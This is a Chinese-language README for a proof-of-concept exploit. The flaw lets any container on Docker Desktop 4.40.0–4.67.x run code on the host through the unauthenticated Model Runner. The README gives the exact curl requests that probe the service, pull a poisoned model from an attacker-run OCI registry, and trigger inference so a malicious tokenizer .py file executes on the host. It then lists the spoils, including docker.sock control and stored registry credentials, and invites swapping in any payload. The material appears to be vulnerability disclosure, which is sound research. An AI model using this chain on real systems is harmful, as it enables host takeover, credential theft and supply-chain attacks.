在 Docker Desktop(4.40.0 至 4.67.x)宿主机上的任何容器,都可以通过两个 HTTP 请求在宿主机上运行代码。无需套接字挂载,无需 --privileged,无需 capabilities。
每个容器都可以无认证地访问位于 model-runner.docker.internal 的 Model Runner。它会从你指定的任何 OCI 仓库拉取模型,并在不校验摘要的情况下存储它们。Python 后端(vLLM、MLX、SGLang)使用 trust_remote_code=True 加载模型(或者在 MLX 的情况下,其配置输入甚至不承认 trust remote code),这会导入模型在 tokenizer_config.json 中引用的任何 .py 文件。该 .py 文件以桌面用户身份运行。
起始位置:攻击者已在宿主上的某个容器内获得代码执行能力。恶意基础镜像、开发工作区中的恶意 npm/pip 安装、CI 运行器执行攻击者控制的代码等。无需 Docker 套接字挂载,无需 --privileged,无需额外 capabilities。
探测 Model Runner。
curl -sf http://model-runner.docker.internal/api/tags
HTTP 200 表示 Model Runner 已启动且可从该容器访问。无需认证,也无需 Origin 头。
搭建一个恶意 OCI 仓库。 任何实现 OCI 分发规范的 HTTP 服务器都可以。该仓库需要能被宿主机访问(Model Runner 运行在宿主机上,而非容器内)。你可以将其托管在公网,或在本地运行并发布端口(本 PoC 的 docker-compose.yml 即采用后者)。它提供一个最小的合法 Llama 模型,其 tokenizer_config.json 中的 auto_map 指向 evil_tokenizer.py。evil_tokenizer.py 即宿主机载荷。参见 rce_registry.py。
让 Model Runner 从你的仓库拉取。
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
Model Runner 下载 manifest,然后下载每个 blob,并将其写入磁盘存储。不会重新计算或比较摘要,也没有签名检查。恶意模型现在已安装。
触发推理以加载模型。
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
Model Runner 选择一个 Python 后端(vLLM、MLX 或 SGLang),并使用 --model <bundle_dir> 指向已存储的模型来启动它。后端调用 AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True)。Transformers 读取 tokenizer_config.json,看到 auto_map,并从 bundle 目录导入 evil_tokenizer.py。模块级代码在导入时执行。
载荷在宿主机上运行。 它以 Docker Desktop 用户身份运行,位于任何容器之外,拥有该用户的完整文件系统和网络访问权限。推理本身通常会失败(模型太小,无法真正运行),但这无关紧要,因为导入已经发生。
攻击者由此获得什么。
/var/run/docker.sock 可访问。守护进程控制:创建特权容器、将宿主文件系统挂载到其中一个容器、exec 进入其他容器等。~/.docker/config.json 包含用户已登录的每个仓库的凭据。供应链跳板:将恶意镜像推送到上游。将 rce_registry.py:45-105 行替换为任意载荷。
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
证明文件输出到 /tmp/poc_rce_proof。
rce_registry.py - 伪造的 OCI 仓库,提供最小的 Llama 模型以及 evil_tokenizer.pytest_claims.py - 对照源码和运行中的系统检查每项声明run_poc.sh - 包装脚本docker-compose.yml - 仓库 + 非特权攻击者容器Dockerfile.registry、Dockerfile.attacker - 镜像